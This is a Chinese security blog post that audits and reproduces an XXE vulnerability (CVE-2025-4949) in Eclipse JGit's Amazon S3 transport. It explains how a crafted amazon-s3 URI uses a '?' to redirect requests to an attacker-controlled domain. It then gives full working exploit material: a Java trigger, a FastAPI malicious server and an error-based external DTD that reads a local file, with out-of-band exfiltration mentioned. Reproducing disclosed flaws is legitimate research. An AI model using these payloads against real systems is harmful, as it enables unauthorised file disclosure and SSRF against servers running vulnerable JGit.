【代码审计&漏洞复现】Eclipse JGit XXE漏洞 CVE-2025-4949

【代码审计&漏洞复现】Eclipse JGit XXE漏洞 CVE-2025-4949

闪石星曜CyberSecurity 2025-06-11 03:49

👉 本人是一名想当黑客的安全工程师,欢迎您的阅读,期待您的关注。

💡 本公众号记录方向:渗透测试|代码审计|SDLC建设。

文章导读

  • 本文记录 Eclipse JGit XXE 漏洞的发现和利用过程。
  • JGit 是一个 Java 实现的 Git 操作库,广泛应用于 Java 程序中需要处理远端 Git 仓库的场景(例如代码拉取)。

背景

去年我在挖某安全厂商 SRC 时发现他们集成了 JGit,顺便挖到了这个漏洞,本文将详细记录该漏洞的审计过程、及复现方法。

(备注:这个CVE不是我提的)

Image

不看笔记历史还不知道自己这么晚了还在学习~。

Image

代码审计过程

1. 定位Sink点

通过Fortify扫描发现,在
AmazonS3.java
 文件中存在 XML 解析逻辑,其解析源为 HTTP 响应返回的 XML 内容,且未禁用外部DTD和外部实体。

扫描器虽定位到 
Sink
点,但未给出完整漏洞利用链,接下来的重点在于确定 HTTP 请求的目标 URL 是否可被外部用户控制。

Image

2. 逆向追踪

在知道Sink点之后,接下来就是长时间的
Find Usages
 ,想找到漏洞利用入口,终于皇天不负有心人,眼睛瞎了。

Image

3. 正向追踪

  • 既然逆向审计的方式无法快速还原漏洞利用链,那就尝试正向审计,前面提到我是在审计某个安全设备的漏洞,那就从它的功能点入手,用户可输入
    Git仓库地址

    Image
  • 后端接收到参数,通过
    JGit
    进行代码下载。
    Image
  • 通过在 
    Git.cloneRepository().call()
     方法设置 Debug 断点并进行调试,最终梳理出触发 XXE 的完整链路。
    Image

4. 关键漏洞利用链分析

4.1 识别URI

  • 用户输入的 URI 会经过 
    org.eclipse.jgit.transport.URIish
     解析,识别其 
    scheme

    user

    pass

    Image
  • 当前测试的Payload:
    https://github.com/WebGoat/WebGoat

4.2 匹配Transport

  • org.eclipse.jgit.transport.Transport#open
     遍历8个
    Transport
     ,将用户输入的URI传入其
    canHandle
    方法中进行匹配,如果返回为
    true
    ,则调用指定
    Transport
     进行后续业务。
    Image
  • canHandle
     校验URI的scheme是否和预期的scheme一致,
    TransportAmazonS3
    的scheme是
    amazon-s3

    Image
  • 校验必要字段是否为空,除了scheme要匹配,还有4个字段需要不为空,虽然图片上只有3个字段,但后续的其他业务过程中还校验了pass字段。
    Image
  • 为了可以让我们顺利进入
    TransportAmazonS3
     当前测试所用payload:
    amazon-s3://user:pass@test/
     (注意:最后有一个斜杠,不然path会为空,无法通过必要字段校验。)这里的
    test
    字符串是bucket,bucket是我们后续的重点。

4.3 触发第一个 HTTP 请求

  • org.eclipse.jgit.transport.WalkRemoteObjectDatabase#readPackedRefs
     最终调用 s3.get(bucket, key)。其中 bucket 来自用户输入 (test),key 固定为 packed-refs。
  • URL拼接规则:http://{bucket}.s3.amazonaws.com/{key}

Image

Image

  • 问题
    :拼接完的URL:
    http://test.s3.amazonaws.com/packed-refs
    , 虽然bucket被拼接到了URL中,但是现在的URL最终请求的域名还是
    s3.amazonaws.com
    。我们的目标是让它访问我们自己的域名,这样我们才能控制返回包的内容,并注入XXE-payload。
  • 绕过思路
    :聪明的你已经想到了,我们可以利用 URL 特性,通过 
    问号(?)
     分割域名与参数,使 
    s3.amazonaws.com
     变为参数部分。而bucket指定一个我们自己的域名。
  • 修改后的payload
    :
    amazon-s3://user:[email protected]?/
  • 最终生成的URL是:
    http://xxoo.pro?
    .s3.amazonaws.com/%2Fpacked-refs
     通过问号截断,s3的域名就成为了参数,请求的域名是我们自己的域名xxoo.pro。

4.4 域名长度限制

  • 不出意外的话,就出意外了,因为在发起请求之前还会经过
    authorize
     方法,这里会对域名做切分处理,如果长度小于16(
    s3.amazonaws.com
    的长度),就会出现索引错误了。

Image

Image
– 调整后的payload:
amazon-s3://user:[email protected]?/

4.5 处理第一个响应包

  • org.eclipse.jgit.transport.WalkRemoteObjectDatabase#readPackedRefsImpl
    方法会对上面的第一个请求的响应包进行解析,看是否符合自己的预期,因为不涉及XML的解析,我们只需要使其不报错即可。
  • 我们让
    http://src123456.xxoo.pro?
    .s3.amazonaws.com/%2Fpacked-refs
    返回

test

即可。
Image
– 编写接口返回,这里我用fastapi写了一个接口。(文末会贴上完整接口信息)
Image

4.6 触发第二个HTTP请求,触发XXE

  • 第二个请求是在
    org.eclipse.jgit.transport.TransportAmazonS3.DatabaseS3#readLooseRefs
    中的
    s3.list()
     —
    lp.list()
    方法中触发。
    Image
  • 请求接口并对XML进行解析
    Image
  • 第二次请求的URL:
    http://src123456.xxoo.pro?.s3.amazonaws.com/?prefix=/refs/
  • payload无需修改,最终payload:
    amazon-s3://user:[email protected]?/

4.7 处理第二个响应包

  • 两个请求的URL路径都是一样的,只是参数不一样,所以我们需要修改我们的API接口,使其可以同时兼容这两个请求。
  • 当我们请求的参数中包含prefix,我们就返回XXE的payload,其他情况就返回#test。
    Image

效果展示

通过报错的方式读取到了指定文件中的内容。

Image

小结

  • 该漏洞被利用的前提:被攻击服务器要可以访问到攻击者部署的恶意web
  • 漏洞危害
  • 如果报错信息会在接口中返回,就可以实现读取系统文件内容的效果。
  • 如果系统不返回报错信息,就只能通过HTTP/FTP外带读取有限的数据。
  • 可以实现SSRF,但感觉作用不大,而且一般JGit在内网用的比较多。

漏洞复现完整代码

导入依赖

<dependency>
    <groupId>org.eclipse.jgit</groupId>
    <artifactId>org.eclipse.jgit</artifactId>
    <version>5.12.0.202106070339-r</version>
</dependency>

Payload

package com.nixsolutions.xxe_demo;

import org.eclipse.jgit.api.Git;
import org.eclipse.jgit.api.errors.GitAPIException;
import org.eclipse.jgit.transport.CredentialsProvider;
import org.eclipse.jgit.transport.UsernamePasswordCredentialsProvider;
import org.junit.Test;

import java.io.File;

public class JgitTest {

    public void clone(File outputDir, String branch, String uri, String user, String pwd) throws GitAPIException {

        CredentialsProvider credentials = new UsernamePasswordCredentialsProvider(user, pwd == null ? "" : pwd);

        try {
            Git.cloneRepository()
                    .setURI(uri)
                    .setBare(false)
                    .setBranch(branch)
                    .setDirectory(outputDir)
                    .setCredentialsProvider(credentials)
                    .call();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Test
    public void test() throws GitAPIException {
        String url = "amazon-s3://user:[email protected]?/";
//        String url = "http1://github.com/WebGoat/WebGoat";
        clone(new File("/tmp/code/"), "master", url, "123", "333");
    }
}

恶意服务端返回包(FastAPI 示例)

from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse
app = FastAPI()

payload = '''<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:8000/error.dtd">
<data>&send;</data>'''

@app.get("/", response_class=PlainTextResponse)
async def root(request: Request):
    raw_query = request.url.query
    print(raw_query)
    if "prefix" in raw_query:
        return payload
    return "#test"



if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=80)

XXE-Payload

<!ENTITY % file SYSTEM "file:///tmp/mm.txt">
<!ENTITY % filename "mm.txt">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///%filename; 文件内容:%file;'>">
%eval;
%error;